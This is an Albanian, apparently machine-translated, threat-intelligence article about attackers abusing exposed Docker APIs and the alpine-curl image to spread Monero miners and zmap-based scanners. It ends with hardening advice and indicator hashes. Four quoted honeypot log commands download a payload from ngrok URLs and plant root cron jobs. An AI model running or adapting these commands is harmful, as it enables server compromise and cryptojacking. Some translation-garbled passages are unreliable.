Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave

Ne analizuam të dhënat e mbledhura duke përdorur kontejnerë honeypot, të cilat i krijuam për të gjurmuar kërcënimet. Dhe ne zbuluam aktivitet të rëndësishëm nga minatorët e padëshiruar ose të paautorizuar të kriptomonedhave të vendosura si kontejnerë mashtrues duke përdorur një imazh të publikuar nga komuniteti në Docker Hub. Imazhi përdoret si pjesë e një shërbimi që ofron minatorët me qëllim të keq të kriptomonedhave.

Për më tepër, programet për të punuar me rrjetet janë instaluar për të depërtuar në kontejnerët dhe aplikacionet fqinje të hapura.

Ne i lëmë honeypot-et tona ashtu siç janë, domethënë me cilësimet e paracaktuara, pa asnjë masë sigurie ose instalim të mëvonshëm të softuerit shtesë. Ju lutemi vini re se Docker ka rekomandime për konfigurimin fillestar për të shmangur gabimet dhe dobësitë e thjeshta. Por honeypots që përdoren janë kontejnerë, të krijuar për të zbuluar sulmet që synojnë platformën e kontejnerizimit, jo aplikacionet brenda kontejnerëve.

Aktiviteti keqdashës i zbuluar është gjithashtu i dukshëm sepse nuk kërkon dobësi dhe është gjithashtu i pavarur nga versioni Docker. Gjetja e një imazhi të kontejnerit të konfiguruar gabimisht, dhe për këtë arsye të hapur, është gjithçka që ju nevojitet sulmuesve për të infektuar shumë serverë të hapur.

Docker API i pambyllur lejon përdoruesin të kryejë një gamë të gjerë të ekipet, duke përfshirë marrjen e një liste të kontejnerëve që funksionojnë, marrjen e shkrimeve nga një kontejner specifik, fillimin, ndalimin (përfshirë të detyruar) dhe madje krijimin e një kontejneri të ri nga një imazh specifik me cilësime të specifikuara.

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave
Në të majtë është mënyra e dërgimit të malware. Në të djathtë është mjedisi i sulmuesit, i cili lejon nxjerrjen në distancë të imazheve.

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave
Shpërndarja sipas vendit të 3762 API-ve të hapura Docker. Bazuar në kërkimin Shodan të datës 12.02.2019/XNUMX/XNUMX

Opsionet e zinxhirit të sulmit dhe ngarkesës

Aktiviteti keqdashës u zbulua jo vetëm me ndihmën e honeypots. Të dhënat nga Shodan tregojnë se numri i API-ve të ekspozuara Docker (shih grafikun e dytë) është rritur që kur hetuam një kontejner të konfiguruar gabimisht i përdorur si urë për të vendosur softuerin e minierave të kriptomonedhave Monero. Në tetor të vitit të kaluar (2018, të dhënat aktuale ju mund të dukeni kështu përafërsisht. përkthyes) kishte vetëm 856 API të hapura.

Një ekzaminim i regjistrave të honeypot tregoi se përdorimi i imazhit të kontejnerit shoqërohej gjithashtu me përdorimin e ngrok, një mjet për krijimin e lidhjeve të sigurta ose përcjelljen e trafikut nga pikat e aksesueshme publikisht në adresat ose burimet e specifikuara (për shembull localhost). Kjo i lejon sulmuesit të krijojnë në mënyrë dinamike URL kur dërgojnë ngarkesë në një server të hapur. Më poshtë janë shembuj kodesh nga regjistrat që tregojnë abuzimin e shërbimit ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Siç mund ta shihni, skedarët e ngarkuar shkarkohen nga URL-të që ndryshojnë vazhdimisht. Këto URL kanë një datë të shkurtër skadimi, kështu që ngarkesat e dobishme nuk mund të shkarkohen pas datës së skadimit.

Ekzistojnë dy opsione të ngarkesës. I pari është një minator ELF i përpiluar për Linux (i përcaktuar si Coinminer.SH.MALXMR.ATNO) që lidhet me pishinën e minierave. E dyta është një skript (TrojanSpy.SH.ZNETMAP.A) i krijuar për të marrë mjete të caktuara rrjeti që përdoren për të skanuar vargjet e rrjetit dhe më pas për të kërkuar objektiva të reja.

Skripti dropper vendos dy variabla, të cilat më pas përdoren për të vendosur minatorin e kriptomonedhës. Ndryshorja HOST përmban URL-në ku ndodhen skedarët me qëllim të keq, dhe ndryshorja RIP është emri i skedarit (në fakt, hash) i minatorit që do të vendoset. Variabli HOST ndryshon sa herë që ndryshon ndryshorja hash. Skripti gjithashtu përpiqet të kontrollojë që asnjë minator tjetër i kriptomonedhës nuk po funksionon në serverin e sulmuar.

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave
Shembuj të variablave HOST dhe RIP, si dhe një copë kodi të përdorur për të kontrolluar që asnjë minator tjetër nuk po funksionon

Përpara fillimit të minatorit, ai riemërtohet në nginx. Versione të tjera të këtij skripti riemërtojnë minerin në shërbime të tjera legjitime që mund të jenë të pranishme në mjediset Linux. Kjo zakonisht është e mjaftueshme për të anashkaluar kontrollet kundrejt listës së proceseve të ekzekutuara.

Skripti i kërkimit gjithashtu ka veçori. Punon me të njëjtin shërbim URL për të vendosur mjetet e nevojshme. Midis tyre është binar zmap, i cili përdoret për të skanuar rrjetet dhe për të marrë një listë të porteve të hapura. Skripti ngarkon gjithashtu një binar tjetër që përdoret për të bashkëvepruar me shërbimet e gjetura dhe për të marrë banderola prej tyre për të përcaktuar informacione shtesë rreth shërbimit të gjetur (për shembull, versioni i tij).

Skripti gjithashtu paracakton disa diapazon rrjeti për të skanuar, por kjo varet nga versioni i skenarit. Ai gjithashtu vendos portat e synuara nga shërbimet - në këtë rast, Docker - përpara se të ekzekutohet skanimi.

Sa më shpejt që të gjenden objektivat e mundshëm, banderolat hiqen automatikisht prej tyre. Skripti gjithashtu filtron objektivat në varësi të shërbimeve, aplikacioneve, komponentëve ose platformave të interesit: Redis, Jenkins, Drupal, MODX, Mjeshtër Kubernetes, klienti Docker 1.16 dhe Apache CouchDB. Nëse serveri i skanuar përputhet me ndonjë prej tyre, ai ruhet në një skedar teksti, të cilin sulmuesit mund ta përdorin më vonë për analiza dhe hakime të mëvonshme. Këto skedarë teksti ngarkohen në serverët e sulmuesve nëpërmjet lidhjeve dinamike. Kjo është, një URL e veçantë përdoret për çdo skedar, që do të thotë se qasja pasuese është e vështirë.

Vektori i sulmit është një imazh Docker, siç mund të shihet në dy pjesët e ardhshme të kodit.

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave
Në krye është riemërtimi në një shërbim legjitim, dhe në fund është mënyra se si zmap përdoret për të skanuar rrjetet

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave
Në krye janë diapazoni i rrjetit të paracaktuar, në fund janë portet specifike për kërkimin e shërbimeve, duke përfshirë Docker

Si po përdoren API-ja jopronare Docker dhe imazhet publike nga komuniteti për të shpërndarë minatorët e kriptomonedhave
Pamja e ekranit tregon se imazhi me kaçurrela alpine është shkarkuar më shumë se 10 milionë herë

Bazuar në Alpine Linux dhe curl, një mjet CLI efikas me burime për transferimin e skedarëve përmes protokolleve të ndryshme, mund të ndërtoni Imazhi i dokerit. Siç mund ta shihni në imazhin e mëparshëm, ky imazh tashmë është shkarkuar më shumë se 10 milionë herë. Një numër i madh shkarkimesh mund të nënkuptojë përdorimin e këtij imazhi si pikë hyrjeje; ky imazh është përditësuar më shumë se gjashtë muaj më parë; përdoruesit nuk kanë shkarkuar imazhe të tjera nga kjo depo aq shpesh. Në Docker pika e hyrjes - një grup udhëzimesh të përdorura për të konfiguruar një kontejner për ta drejtuar atë. Nëse cilësimet e pikës së hyrjes janë të pasakta (për shembull, kontejneri lihet i hapur nga Interneti), imazhi mund të përdoret si një vektor sulmi. Sulmuesit mund ta përdorin atë për të dhënë një ngarkesë nëse gjejnë një kontejner të konfiguruar gabim ose të hapur të mbetur i pambështetur.

Është e rëndësishme të theksohet se ky imazh (alpine-curl) në vetvete nuk është me qëllim të keq, por siç mund ta shihni më lart, ai mund të përdoret për të kryer funksione me qëllim të keq. Imazhet e ngjashme Docker mund të përdoren gjithashtu për të kryer aktivitete me qëllim të keq. Ne kontaktuam Docker dhe punuam me ta për këtë çështje.

Rekomandime

Cilësim i gabuar eshtra problem i vazhdueshëm për shumë kompani, veçanërisht ato zbatuese DevOps, i fokusuar në zhvillimin dhe shpërndarjen e shpejtë. Gjithçka rëndohet nga nevoja për të respektuar rregullat e auditimit dhe monitorimit, nevoja për të monitoruar konfidencialitetin e të dhënave, si dhe dëmi i madh nga mosrespektimi i tyre. Përfshirja e automatizimit të sigurisë në ciklin jetësor të zhvillimit jo vetëm që ju ndihmon të gjeni vrima sigurie që përndryshe mund të mos zbulohen, por gjithashtu ju ndihmon të reduktoni ngarkesën e panevojshme të punës, si p.sh. ekzekutimi i ndërtimeve shtesë të softuerit për çdo cenueshmëri të zbuluar ose konfigurim të gabuar pas vendosjes së një aplikacioni.

Incidenti i diskutuar në këtë artikull thekson nevojën për të marrë parasysh sigurinë që në fillim, duke përfshirë rekomandimet e mëposhtme:

  • Për administratorët dhe zhvilluesit e sistemit: Kontrolloni gjithmonë cilësimet tuaja të API-së për t'u siguruar që gjithçka është konfiguruar për të pranuar vetëm kërkesa nga një server specifik ose një rrjet i brendshëm.
  • Ndiqni parimin e të drejtave më të vogla: sigurohuni që imazhet e kontejnerëve të nënshkruhen dhe verifikohen, kufizoni aksesin në komponentët kritikë (shërbimi i nisjes së kontejnerëve) dhe shtoni enkriptim në lidhjet e rrjetit.
  • Ndiqni rekomandimet dhe mundësojnë mekanizmat e sigurisë, p.sh. nga Docker dhe i integruar veçoritë e sigurisë.
  • Përdorni skanimin e automatizuar të kohëzgjatjeve dhe imazheve për të marrë informacion shtesë në lidhje me proceset që ekzekutohen në kontejner (për shembull, për të zbuluar mashtrimet ose për të kërkuar për dobësi). Kontrolli i aplikacionit dhe monitorimi i integritetit ndihmojnë në gjurmimin e ndryshimeve jonormale në serverë, skedarë dhe zona të sistemit.

Trendmicro i ndihmon ekipet e DevOps të ndërtojnë në mënyrë të sigurt, të shpërndahen shpejt dhe të nisin kudo. Trendi Micro Siguria e resë hibride Ofron siguri të fuqishme, të efektshme dhe të automatizuar në të gjithë tubacionin DevOps të një organizate dhe ofron mbrojtje të shumëfishta nga kërcënimet XGen për të mbrojtur ngarkesat e punës fizike, virtuale dhe cloud në kohën e ekzekutimit. Ai gjithashtu shton sigurinë e kontejnerit me Siguri e thellë и Kontroll inteligjent i thellë i sigurisë, të cilat skanojnë imazhet e kontejnerëve të Docker për malware dhe dobësi në çdo pikë në tubacionin e zhvillimit për të parandaluar kërcënimet përpara se ato të vendosen.

Shenjat e kompromisit

Hashe të ngjashme:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Mbi Kursi video Docker Folësit praktikues tregojnë se cilat cilësime duhet të bëhen së pari për të minimizuar gjasat ose për të shmangur plotësisht shfaqjen e situatës së përshkruar më sipër. Dhe në datat 19-21 gusht në një intensiv online Mjetet dhe mashtrimet e DevOps Ju mund t'i diskutoni këto dhe probleme të ngjashme sigurie me kolegët dhe mësuesit praktikantë në një tryezë të rrumbullakët, ku të gjithë mund të flasin dhe të dëgjojnë dhimbjet dhe sukseset e kolegëve me përvojë.

Burimi: www.habr.com

Shto një koment